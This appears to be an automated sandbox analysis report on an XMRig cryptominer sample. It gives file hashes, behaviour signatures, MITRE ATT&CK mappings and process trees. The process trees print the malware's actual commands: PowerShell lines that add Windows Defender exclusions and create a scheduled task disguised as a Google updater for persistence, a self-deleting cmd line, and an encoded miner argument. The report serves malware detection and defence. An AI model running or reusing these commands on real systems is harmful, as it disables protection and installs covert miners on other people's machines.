xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
1621s
max time network
1827s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/12/2023, 12:01

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General

Target

qM5GMXBk6hJE6Y5e (27).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1280 created 1204	1280	qM5GMXBk6hJE6Y5e (27).exe	5
PID 1280 created 1204	1280	qM5GMXBk6hJE6Y5e (27).exe	5
PID 1280 created 1204	1280	qM5GMXBk6hJE6Y5e (27).exe	5
PID 1280 created 1204	1280	qM5GMXBk6hJE6Y5e (27).exe	5
PID 1824 created 1204	1824	updater.exe	5
PID 1824 created 1204	1824	updater.exe	5
PID 1824 created 1204	1824	updater.exe	5
PID 1824 created 1204	1824	updater.exe	5
PID 2012 created 1204	2012	conhost.exe	5
PID 1824 created 1204	1824	updater.exe	5

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral25/memory/1124-65-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1124-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2804	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1824	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1692	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral25/memory/1124-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1124-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1824 set thread context of 2012	1824	updater.exe	51
PID 1824 set thread context of 1124	1824	updater.exe	52

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (27).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
824	schtasks.exe
2652	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1388	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e02469d28436da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1280	qM5GMXBk6hJE6Y5e (27).exe
1280	qM5GMXBk6hJE6Y5e (27).exe
2736	powershell.exe
1280	qM5GMXBk6hJE6Y5e (27).exe
1280	qM5GMXBk6hJE6Y5e (27).exe
2760	powershell.exe
1280	qM5GMXBk6hJE6Y5e (27).exe
1280	qM5GMXBk6hJE6Y5e (27).exe
1280	qM5GMXBk6hJE6Y5e (27).exe
1280	qM5GMXBk6hJE6Y5e (27).exe
2868	powershell.exe
1824	updater.exe
1824	updater.exe
2640	powershell.exe
1824	updater.exe
1824	updater.exe
2308	powershell.exe
1824	updater.exe
1824	updater.exe
1824	updater.exe
1824	updater.exe
2012	conhost.exe
2012	conhost.exe
1824	updater.exe
1824	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeDebugPrivilege	2868	powershell.exe
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	1824	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1388	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1388	WMIC.exe
Token: SeSecurityPrivilege	1388	WMIC.exe
Token: SeTakeOwnershipPrivilege	1388	WMIC.exe
Token: SeLoadDriverPrivilege	1388	WMIC.exe
Token: SeSystemtimePrivilege	1388	WMIC.exe
Token: SeBackupPrivilege	1388	WMIC.exe
Token: SeRestorePrivilege	1388	WMIC.exe
Token: SeShutdownPrivilege	1388	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1388	WMIC.exe
Token: SeUndockPrivilege	1388	WMIC.exe
Token: SeManageVolumePrivilege	1388	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1388	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1388	WMIC.exe
Token: SeSecurityPrivilege	1388	WMIC.exe
Token: SeTakeOwnershipPrivilege	1388	WMIC.exe
Token: SeLoadDriverPrivilege	1388	WMIC.exe
Token: SeSystemtimePrivilege	1388	WMIC.exe
Token: SeBackupPrivilege	1388	WMIC.exe
Token: SeRestorePrivilege	1388	WMIC.exe
Token: SeShutdownPrivilege	1388	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1388	WMIC.exe
Token: SeUndockPrivilege	1388	WMIC.exe
Token: SeManageVolumePrivilege	1388	WMIC.exe
Token: SeLockMemoryPrivilege	1124	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2760 wrote to memory of 2652	2760	powershell.exe	31
PID 2760 wrote to memory of 2652	2760	powershell.exe	31
PID 2760 wrote to memory of 2652	2760	powershell.exe	31
PID 2804 wrote to memory of 3040	2804	cmd.exe	38
PID 2804 wrote to memory of 3040	2804	cmd.exe	38
PID 2804 wrote to memory of 3040	2804	cmd.exe	38
PID 2868 wrote to memory of 1976	2868	powershell.exe	39
PID 2868 wrote to memory of 1976	2868	powershell.exe	39
PID 2868 wrote to memory of 1976	2868	powershell.exe	39
PID 1692 wrote to memory of 1824	1692	taskeng.exe	41
PID 1692 wrote to memory of 1824	1692	taskeng.exe	41
PID 1692 wrote to memory of 1824	1692	taskeng.exe	41
PID 2308 wrote to memory of 824	2308	powershell.exe	46
PID 2308 wrote to memory of 824	2308	powershell.exe	46
PID 2308 wrote to memory of 824	2308	powershell.exe	46
PID 1824 wrote to memory of 2012	1824	updater.exe	51
PID 2984 wrote to memory of 1388	2984	cmd.exe	54
PID 2984 wrote to memory of 1388	2984	cmd.exe	54
PID 2984 wrote to memory of 1388	2984	cmd.exe	54
PID 1824 wrote to memory of 1124	1824	updater.exe	52

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1204
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (27).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (27).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2652
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (27).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:3040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2308
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:824
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1388
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2972
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2012
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1124

C:\Windows\system32\taskeng.exe
taskeng.exe {48ECBFA4-61D0-4C70-B3FE-A8B6EDC54A39} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
46KB

MD5
fdbdc325086b1445ff1f5d598b263dfe

SHA1
be4985e487cea53cfaf32a0727fc8349f4626ec1

SHA256
18b666b4035089050486ac2df9b27ebb9c4ee0f8997be3265ad0f7baaa1832c4

SHA512
13e5713b35256ff927daf903b62d19f99abf63651a131b5d00c2c943e784569bade892e4de5bc4ea6bf4fa417784e6d95e8668f1ea240d8795fe66c1ee93c63f

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
37KB

MD5
af5895068c52b04bc3b300e2aef812b3

SHA1
c07cc44c74f10012d224c2958e9d8e50c1aa1fef

SHA256
b58b9220c08de2d8560c308824dd4d82a29b04ebf9fb2451d76c22410917a44e

SHA512
23b42a18fe195f912c704b0c29d4d23a080def7b6d8b5da8f573d5b298c0052e4f334de901e6396c30f2eeeff6c4397bddf68f9ee04f8920e42f5f89acd986f3

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7fa999683b9dcb5281757dde59ff7c4d

SHA1
55a289c56d6e3ed262288e0440af468a3ea53846

SHA256
5ebbb41b0ad9ea4cef7aad016a9f229e9fa2f9a7f3f63f1451d2e7c2d490c54d

SHA512
fce36e90cfc08c6a437ab6593c9f6373cee88ec9f174b2423ce7dcb5316995c68dd7483fa1fa97a549d632b75bc032156dd89f88afbc8ada7e725e04292f4180

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
56KB

MD5
619bf32a93ce9f099725392f33e117a2

SHA1
70bd410cdceafd241329d3c279fa36d6efa71c07

SHA256
282ec0145d7d393b1bc4970080cf7feb31f6d7c773fa52612aac320c72d4d1eb

SHA512
61685ae8a298e007be17ead392005d2a594958ff49292ef5b6bf0f996afc5c43bfe7c80a053219161e866c068d1afd885019d4cf364166974cf9f9e4248a0f9b

Download Submit
memory/1124-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-65-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-64-0x0000000000040000-0x0000000000060000-memory.dmp

Filesize
128KB

Download
memory/1124-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-84-0x0000000000CF0000-0x0000000000D10000-memory.dmp

Filesize
128KB

Download
memory/1124-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-83-0x0000000000C90000-0x0000000000CB0000-memory.dmp

Filesize
128KB

Download
memory/1124-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1124-71-0x0000000000C90000-0x0000000000CB0000-memory.dmp

Filesize
128KB

Download
memory/1124-72-0x0000000000CF0000-0x0000000000D10000-memory.dmp

Filesize
128KB

Download
memory/1124-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1280-0-0x000000013F830000-0x000000013FA41000-memory.dmp

Filesize
2.1MB

Download
memory/1280-28-0x000000013F830000-0x000000013FA41000-memory.dmp

Filesize
2.1MB

Download
memory/1824-58-0x000000013F990000-0x000000013FBA1000-memory.dmp

Filesize
2.1MB

Download
memory/1824-44-0x000000013F990000-0x000000013FBA1000-memory.dmp

Filesize
2.1MB

Download
memory/1824-63-0x000000013F990000-0x000000013FBA1000-memory.dmp

Filesize
2.1MB

Download
memory/2012-69-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2012-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2308-57-0x00000000012C0000-0x0000000001340000-memory.dmp

Filesize
512KB

Download
memory/2308-59-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2308-54-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2308-56-0x00000000012C0000-0x0000000001340000-memory.dmp

Filesize
512KB

Download
memory/2308-55-0x00000000012C0000-0x0000000001340000-memory.dmp

Filesize
512KB

Download
memory/2308-52-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2308-53-0x00000000012C0000-0x0000000001340000-memory.dmp

Filesize
512KB

Download
memory/2640-50-0x0000000000CFB000-0x0000000000D62000-memory.dmp

Filesize
412KB

Download
memory/2640-47-0x0000000000CF0000-0x0000000000D70000-memory.dmp

Filesize
512KB

Download
memory/2640-51-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2640-49-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2640-45-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2640-48-0x0000000000CF0000-0x0000000000D70000-memory.dmp

Filesize
512KB

Download
memory/2640-46-0x0000000000CF0000-0x0000000000D70000-memory.dmp

Filesize
512KB

Download
memory/2736-5-0x000000001B060000-0x000000001B342000-memory.dmp

Filesize
2.9MB

Download
memory/2736-7-0x00000000023D0000-0x00000000023D8000-memory.dmp

Filesize
32KB

Download
